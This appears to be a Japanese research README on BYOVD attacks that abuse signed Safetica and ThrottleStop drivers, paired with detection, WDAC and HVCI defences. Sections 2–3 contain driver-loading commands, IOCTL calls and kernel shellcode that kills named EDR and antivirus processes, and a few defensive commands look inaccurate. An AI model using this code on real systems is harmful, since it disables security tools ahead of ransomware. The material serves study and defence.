このリポジトリはBYOVD (Bring Your Own Vulnerable Driver) 攻撃手法の研究資料です。以下、セキュリティ専門家向けに深掘りした技術解説を行います。
技術的知識追加: BYOVDとは?
BYOVDは、攻撃者が正規の署名付きだが脆弱なドライバをシステムに持ち込み（Bring Your Own）、それを悪用してカーネルモード（Ring 0）の特権を得る手法です。これにより、セキュリティツールの無力化や特権昇格が可能になります。WindowsのDriver Signature Enforcement (DSE)により、署名なしドライバはロードできないため、攻撃者は合法的な脆弱ドライバを悪用します。
リファレンス:
- Microsoft: Driver Signature Enforcement
- LOLDDrivers: Vulnerable Drivers Database
1. BYOVD攻撃の基本原理
1.1 攻撃の全体フロー
[攻撃者] ↓ (1) 正規署名された脆弱ドライバを投下 [vulnerable.sys] ↓ (2) サービスとしてロード (sc create / .inf インストール) [Kernel Mode - Ring 0] ↓ (3) DeviceIoControl() で脆弱なIOCTLを叩く [特権操作の実行] • 任意プロセス終了 (PsTerminateProcess) • 物理メモリR/W (MmMapIoSpace) • カーネルメモリパッチ ↓ (4) EDR/AVを無力化 [マルウェア本体の実行]
技術的知識追加: Ring 0とIOCTLとは?
Ring 0はCPUの特権モードで、カーネルが動作する領域です。ユーザーモード（Ring 3）からRing 0へアクセスするには、IOCTL (Input/Output Control) などのシステムコールを使います。IOCTLは、ユーザーモードアプリがドライバにコマンドを送る仕組みで、CTL_CODEマクロで定義されます。脆弱なIOCTLは、入力検証不足で特権操作を引き起こします。
リファレンス:
- Microsoft: IOCTL Overview
- Windows Kernel Programming: PsTerminateProcess (非公開APIだが、逆コンパイルで確認可能)
1.2 なぜ署名されたドライバが必要か
- Windows Driver Signature Enforcement (DSE): Windows 10/11 x64では署名なしドライバはロード不可
- 攻撃者は正規ベンダーが署名した「脆弱だが合法的な」ドライバを悪用
- 証明書の信頼チェーンにより、Microsoftは署名を有効と判定してしまう
技術的知識追加: 証明書の信頼チェーンとは?
Windowsは、ドライバの署名をMicrosoftのルート証明書経由で検証します。脆弱ドライバが正規ベンダーから署名されていれば、DSEを通過します。
リファレンス:
- Microsoft: Driver Signing Policy
2. CVE-2026-0828 (Safetica) - シンプルIOCTL濫用型
2.1 脆弱性の詳細
影響を受けるドライバ
ファイル名: ProcessMonitorDriver.sys デバイス名: \\.\STProcessMonitorDriver バージョン: 10.5.75.0, 11.11.4.0 SHA256: 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
脆弱なIOCTL
#define IOCTL_KILL_PROCESS 0xB822200C // 構造: CTL_CODE(0xB822, 0x2, METHOD_BUFFERED, FILE_ANY_ACCESS)
技術的知識追加: CTL_CODEの構造とは?
CTL_CODEは、デバイスタイプ、関数コード、バッファ方法、アクセス権を組み合わせた32ビット値です。METHOD_BUFFEREDは、入力/出力バッファをカーネルが管理します。
リファレンス:
- NVD: CVE-2026-0828
- CERT: VU#818729 - Safetica Kernel Driver Vulnerability
2.2 ドライバ側の実装推測
// 脆弱なディスパッチルーチン (逆コンパイル推測) NTSTATUS DeviceIoControlHandler( PDEVICE_OBJECT DeviceObject, PIRP Irp ) { PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; ULONG inputBufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; if (irpSp->Parameters.DeviceIoControl.IoControlCode == 0xB822200C) { // ❌ 致命的欠陥1: 呼び出し元の権限チェックなし // 正しくは IoValidateDeviceIoControlAccess() で管理者権限確認すべき if (inputBufferLength == sizeof(UINT64)) { UINT64 targetPid = *(UINT64*)inputBuffer; // ❌ 致命的欠陥2: PID妥当性検証なし (system/idle除外など) PEPROCESS Process; NTSTATUS status = PsLookupProcessByProcessId((HANDLE)targetPid, &Process); if (NT_SUCCESS(status)) { // カーネルモードからのプロセス強制終了 PsTerminateProcess(Process, 0); ObDereferenceObject(Process); } } } Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; }
技術的知識追加: IRPとPIO_STACK_LOCATIONとは?
IRP (I/O Request Packet) はドライバ間のI/Oリクエストを表します。PIO_STACK_LOCATIONは、IRPの現在のスタック位置で、IOCTLパラメータを保持します。
リファレンス:
- Microsoft: IRP Structure
2.3 エクスプロイト手法
Phase 1: ドライバのロード
# 管理者権限で実行 sc create STProcessMonitor binPath= "C:\Path\To\ProcessMonitorDriver.sys" type= kernel sc start STProcessMonitor
Phase 2: デバイスハンドルの取得
HANDLE hDevice = CreateFileA( "\\\\.\\STProcessMonitorDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); // 戻り値が INVALID_HANDLE_VALUE でなければ成功
Phase 3: ターゲットプロセスの列挙
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) }; if (Process32First(hSnapshot, &pe32)) { do { if (_stricmp(pe32.szExeFile, "MsMpEng.exe") == 0) { // Microsoft Defender発見 DWORD targetPid = pe32.th32ProcessID; // 次のフェーズへ } } while (Process32Next(hSnapshot, &pe32)); }
Phase 4: IOCTL送信
UINT64 targetPid = 1234; // 例: Defender のPID DWORD bytesReturned; BOOL result = DeviceIoControl( hDevice, 0xB822200C, // 脆弱なIOCTL &targetPid, // Input: 64bit PID sizeof(targetPid), NULL, // Output不要 0, &bytesReturned, NULL ); // result == TRUE → カーネルから強制終了成功 // Protected Process Light (PPL) も無力化される
2.4 Protected Process Light (PPL) バイパスの仕組み
通常、ユーザーモードからは以下のコードは失敗:
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, defenderPid); TerminateProcess(hProcess, 0); // ❌ ERROR_ACCESS_DENIED
理由:
- Windows DefenderなどはPPL (Protected Process Light) として実行
- PsProcessProtection フラグが設定され、同等以上の保護レベルからしかアクセス不可
しかしカーネルドライバ経由では:
// カーネルモード (Ring 0) では保護チェックをバイパス可能 PsTerminateProcess(Process, 0); // ✅ 成功
PPL保護はプロセス間のアクセス制御であり、カーネル自体は神。
技術的知識追加: PPLとは?
PPLは、重要なプロセス（例: AV/EDR）を保護するWindowsの機能で、SeDebugPrivilegeでもアクセスを制限します。カーネルモードではバイパス可能です。
リファレンス:
- Microsoft: Protected Processes
3. CVE-2025-7771 (ThrottleStop) - 物理メモリR/W型
3.1 攻撃の高度化
MedusaLockerランサムウェアが使用。Safetica型より複雑:
[Simple IOCTL Kill] vs [Physical Memory R/W]
↓ ↓
直接プロセス終了 カーネル関数をフック
単純・検知されやすい 高度・ステルス性高い
技術的知識追加: カーネル関数フックとは?
カーネルメモリを書き換えて、関数を乗っ取り（フック）、カスタムコードを実行します。物理メモリR/Wは、仮想アドレスをバイパスして直接アクセス可能です。
リファレンス:
- Kaspersky: ThrottleStop Abuse in MedusaLocker
- NVD: CVE-2025-7771
3.2 ThrottleStop.sys の脆弱性
問題のIOCTL
// 物理メモリ読み取り (推測) #define IOCTL_READ_PHYS_MEM 0x80006498 // 物理メモリ書き込み (推測) #define IOCTL_WRITE_PHYS_MEM 0x8000649C typedef struct { UINT64 PhysicalAddress; UINT32 Length; PVOID Buffer; } PHYS_MEM_REQUEST;
ドライバ内部 (逆コンパイル推測):
NTSTATUS HandlePhysMemRead(PHYS_MEM_REQUEST* req) { // ❌ 権限チェックなし // ❌ アドレス範囲検証なし (カーネル空間読めてしまう) PHYSICAL_ADDRESS physAddr; physAddr.QuadPart = req->PhysicalAddress; // 物理アドレスをカーネル仮想アドレスにマップ PVOID mapped = MmMapIoSpace(physAddr, req->Length, MmNonCached); if (mapped) { // ユーザーバッファにコピー → カーネルメモリ漏洩 RtlCopyMemory(req->Buffer, mapped, req->Length); MmUnmapIoSpace(mapped, req->Length); } return STATUS_SUCCESS; }
技術的知識追加: MmMapIoSpaceとは?
物理メモリを仮想アドレスにマップするカーネル関数で、デバイスI/Oに使われます。検証なしで悪用されると、カーネルメモリ操作が可能。
リファレンス:
- Microsoft: MmMapIoSpace
- Hive Pro: MedusaLocker Uses ThrottleStop
3.3 エクスプロイトフロー (MedusaLocker実例)
Step 1: カーネルベースアドレスの取得 (KASLR回避)
typedef struct { PVOID ImageBase; // ... 他のフィールド } RTL_PROCESS_MODULE_INFORMATION; NTSTATUS NtQuerySystemInformation( SystemModuleInformation, // 0x0B buffer, bufferSize, &returnLength ); // ntoskrnl.exe のロードアドレスを取得 PVOID ntoskrnlBase = modules[0].ImageBase; // 例: 0xFFFFF80012345000
技術的知識追加: KASLRとは?
Kernel Address Space Layout Randomizationで、カーネルアドレスのランダム化により攻撃を防ぎます。NtQuerySystemInformationで回避可能。
リファレンス:
- Microsoft: KASLR
Step 2: 仮想→物理アドレス変換
Windowsのページテーブル構造:
仮想アドレス (48bit)
[PML4:9bit][PDPT:9bit][PD:9bit][PT:9bit][Offset:12bit]
↓ 各階層はCR3レジスタから辿れる物理ページ
攻撃者の手法 (SuperFetch info leak):
// Superfetch機能を悪用して仮想→物理変換情報を取得 // または、ページテーブルを物理メモリR/Wで直接読む UINT64 virtualAddr = (UINT64)ntoskrnlBase + offsetToNtAddAtom; UINT64 physicalAddr = VirtualToPhysical(virtualAddr); // 独自実装
技術的知識追加: ページテーブルとは?
仮想メモリを物理メモリにマップする階層構造。CR3はページテーブルのルートポインタ。
リファレンス:
- Windows Internals: Paging (書籍)
Step 3: カーネル関数のパッチ
ターゲット: NtAddAtom (あまり使われない関数)
元のコード:
ntoskrnl!NtAddAtom:
48 89 5C 24 08 mov [rsp+8], rbx
48 89 74 24 10 mov [rsp+10h], rsi
...
パッチ後:
ntoskrnl!NtAddAtom:
FF 25 00 00 00 00 jmp qword ptr [rip+0]
<shellcode address> ; 攻撃者のコードへジャンプ
物理メモリ書き込みで実行:
PHYS_MEM_REQUEST req; req.PhysicalAddress = physAddrOfNtAddAtom; req.Length = 14; // jmp命令 + アドレス req.Buffer = hookCode; // "\xFF\x25\x00\x00\x00\x00<addr>" DeviceIoControl(hDriver, IOCTL_WRITE_PHYS_MEM, &req, ...);
Step 4: Shellcodeの実装
// カーネルモードで実行されるコード void __stdcall KernelShellcode(CONTEXT* ctx) { // ハードコードされたターゲットリスト WCHAR* targets[] = { L"MsMpEng.exe", L"CSFalconService.exe", // CrowdStrike L"bdagent.exe", // Bitdefender ... }; for (int i = 0; targets[i]; i++) { PEPROCESS proc = FindProcessByName(targets[i]); if (proc) { PsTerminateProcess(proc, 0); } } // 元の関数を復元 (痕跡消去) RestoreOriginalBytes(); // 元の処理に戻る return OriginalNtAddAtom(ctx); }
Step 5: トリガーと復元
// NtAddAtom を呼び出して shellcode 起動 NtAddAtom(L"dummy", 0, NULL); // EDR全滅後、ランサムウェア本体を実行 CreateProcess("medusa_payload.exe", ...);
3.4 PPL保護の完全無力化
[通常のプロセス終了試行]
ユーザーモード → OpenProcess(PPL_PROCESS)
↓
カーネル PsOpenProcess() → SeAccessCheck()
↓
PPL保護チェック → ❌ ACCESS_DENIED
[ThrottleStop経由]
ユーザーモード → DeviceIoControl(物理メモリ書き込み)
↓
カーネル MmMapIoSpace() (保護なし)
↓
物理メモリ直接書き換え → PsTerminateProcess直接呼び出し
↓
✅ すべてのチェックをバイパス
追加: ThrottleStop.sysのハッシュ例
SHA256: 16F83F056177C4EC24C7E99D01CA9D9D6713BD0497EEEDB777A3FFEFA99C97F0 (バージョン3.0.0.0)
リファレンス:
- Xavibel: Exploiting CVE-2025-7771
4. 検知と防御
4.1 ドライバロード検知
Sysmon Event ID 6
<RuleGroup name="DriverLoad"> <DriverLoad onmatch="include"> <ImageLoaded condition="contains">ProcessMonitorDriver.sys</ImageLoaded> <ImageLoaded condition="contains">ThrottleStop.sys</ImageLoaded> <Hashes condition="contains">70bcec00c215fe52779700f74e9bd669</Hashes> </DriverLoad> </RuleGroup>
Windows Event Log
Event ID: 219 (Kernel-PnP) Source: Microsoft-Windows-Kernel-PnP Message: Driver \Driver\STProcessMonitor loaded
技術的知識追加: Sysmonとは?
Microsoftの無料ツールで、システムイベントをログ化。DriverLoadイベントでドライバロードを検知。
リファレンス:
- Sysmon Documentation
4.2 IOCTL監視
ETW (Event Tracing for Windows) プロバイダー:
# Microsoft-Windows-Kernel-IoTrace
logman create trace ioctl_monitor -p {4d7a3b1c-...} -o ioctl.etl
logman start ioctl_monitor
# 解析
Get-WinEvent -Path ioctl.etl | Where-Object {
$_.Message -like "*DeviceIoControl*" -and
$_.Message -like "*STProcessMonitorDriver*"
}
技術的知識追加: ETWとは?
Windowsのトレースフレームワークで、IOCTLなどのイベントをリアルタイム監視。
リファレンス:
- Microsoft: ETW
4.3 WDAC (Windows Defender Application Control)
推奨ポリシー
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy"> <Rules> <Rule> <Option>Enabled:UMCI</Option> <Option>Enabled:Boot Audit on Failure</Option> </Rule> </Rules> <FileRules> <!-- ブロックリスト --> <Deny ID="DENY_SAFETICA" FriendlyName="Block Safetica Vulnerable Driver" Hash="70BCEC00C215FE52779700F74E9BD669FF836F594DF92381CBFB7EE0568E7A8B" HashAlgorithm="SHA256" /> <Deny ID="DENY_THROTTLESTOP" FriendlyName="Block ThrottleStop CVE-2025-7771" Hash="16F83F056177C4EC24C7E99D01CA9D9D6713BD0497EEEDB777A3FFEFA99C97F0" HashAlgorithm="SHA256" /> </FileRules> </SiPolicy>
適用:
ConvertFrom-CIPolicy -XmlFilePath policy.xml -BinaryFilePath SiPolicy.p7b Copy-Item SiPolicy.p7b C:\Windows\System32\CodeIntegrity\ Restart-Computer
技術的知識追加: WDACとは?
アプリケーション制御ポリシーで、ドライバのロードをハッシュや署名で制限。
リファレンス:
- Microsoft: WDAC
4.4 メモリインテグリティ (HVCI)
有効化:
# PowerShell (管理者) Set-ProcessMitigation -System -Enable HypervisorEnforcedCodeIntegrity # レジストリ確認 Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name EnableVirtualizationBasedSecurity
効果: - カーネルコード署名の厳格化 - JIT生成コードのブロック - ページテーブル改ざん検知
技術的知識追加: HVCIとは?
Hypervisor-based Code Integrityで、仮想化を使ってカーネルメモリを保護。
リファレンス:
- Microsoft: HVCI
5. 攻撃シナリオ全体像
5.1 MedusaLocker攻撃チェーン
[初期侵入]
RDP brute-force / Phishing
↓
[認証情報窃取]
Mimikatz → LSASS dump
↓
[横展開]
Pass-the-Hash (PsExec / WMI)
↓
[権限昇格]
管理者権限取得
↓
[防御無力化] ← BYOVD投入ポイント
ThrottleStop.sys ロード
→ カーネルメモリパッチ
→ EDR/AV 全停止
↓
[永続化]
レジストリ Run キー / スケジュールタスク
↓
[目的実行]
MedusaLocker 暗号化
技術的知識追加: Pass-the-Hashとは?
NTLMハッシュを使って認証を偽装する横移動手法。
リファレンス:
- CrowdStrike: BYOVD in Real-World Intrusion
5.2 ターゲットプロセスリスト
src/0xtargets.h より:
// EDRエージェント "csfalconservice.exe" // CrowdStrike Falcon "SentinelAgent.exe" // SentinelOne "taniumclient.exe" // Tanium // アンチウイルス "MsMpEng.exe" // Windows Defender "avp.exe" // Kaspersky "bdagent.exe" // Bitdefender // DLP/監視ツール "SafeticaAgent.exe" // Safetica自身
優先順位: 1. リアルタイム保護プロセス 2. ログ収集エージェント 3. ネットワーク監視 4. バックアップサービス
6. 法的・倫理的考察
6.1 許可されたテスト環境
✅ 適法な利用: - 自己所有のVM (スナップショット必須) - 顧客からの書面契約に基づくペネトレーションテスト - 独立したラボ環境 (ネットワーク隔離)
❌ 違法行為: - 許可なく企業ネットワークでテスト - マルウェア配布目的での利用 - 脆弱性の武器化・販売
6.2 日本における法的リスク
第3条: 他人のIDで不正ログイン → 3年以下の懲役 第11条: 不正指令電磁的記録の提供 → 3年以下の懲役
刑法
第234条の2: 電子計算機損壊等業務妨害 → 5年以下の懲役
技術的知識追加: 法的文脈
日本では、サイバーセキュリティ基本法も関連。研究目的の逆アセンブリは合法だが、悪用は違法。
リファレンス:
- 日本: 不正アクセス禁止法
7. 研究者向けセーフガード
7.1 隔離環境構築
# Hyper-V 内部ネットワーク作成 New-VMSwitch -Name "Isolated_Lab" -SwitchType Internal # VM作成 New-VM -Name "BYOVD_Test" -MemoryStartupBytes 4GB -SwitchName "Isolated_Lab" # スナップショット Checkpoint-VM -Name "BYOVD_Test" -SnapshotName "Clean_State"
技術的知識追加: Hyper-Vとは?
Microsoftの仮想化プラットフォームで、隔離環境を作成。
リファレンス:
- Microsoft: Hyper-V
7.2 ドライバ署名検証
# 証明書チェーン確認 Get-AuthenticodeSignature .\ProcessMonitorDriver.sys | Format-List # ハッシュ検証 Get-FileHash .\ProcessMonitorDriver.sys -Algorithm SHA256 # 期待値: 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
7.3 静的解析のみ推奨
# IDA Pro / Ghidra での逆アセンブリ ida64 -A ProcessMonitorDriver.sys # 文字列抽出 strings -a ProcessMonitorDriver.sys | grep -i "ioctl\|device" # インポート解析 dumpbin /imports ProcessMonitorDriver.sys | findstr "PsTerminateProcess"
技術的知識追加: Ghidraとは?
NSAの無料逆アセンブラツール。
リファレンス:
- Ghidra
8. 今後の展望
8.1 マイクロソフトの対策強化
Windows 11 24H2 (2024年秋以降) - デフォルトでHVCI有効化 - 脆弱ドライバブロックリスト自動更新 - Kernel Data Protection (KDP) 強化
Smart App Control
新規インストールPC → 自動有効 ↓ 未知のドライバ → クラウドレピュテーションチェック ↓ 脆弱性情報マッチ → ロード拒否
技術的知識追加: KDPとは?
Kernel Data Protectionで、カーネルデータを読み取り専用に。
リファレンス:
- Microsoft: Windows 11 24H2 Security Features
8.2 攻撃者の進化予測
次世代BYOVD - ファームウェアドライバの悪用 (BIOS/UEFI) - Virtualization-Based Security (VBS) 回避 - サプライチェーン経由での正規ドライバ汚染
検知回避技術 - ドライバのリネーム (ThrottleBlood.sys) - 一時的ロード → 即アンロード - 難読化されたIOCTLコード
リファレンス:
- Binarly: Signed and Dangerous - BYOVD on Secure Boot
まとめ
このリポジトリが示すBYOVD攻撃は:
防御の鍵: - WDAC strict policy (ホワイトリスト型ドライバ制御) - HVCI強制有効化 - EDR自己防衛機能 (カーネルフックへの耐性) - 継続的脅威インテリジェンス (新規脆弱ドライバの即座なブロック)
セキュリティ担当者は、この研究を基に攻撃者視点でのギャップ分析を実施し、多層防御を構築することが求められます。
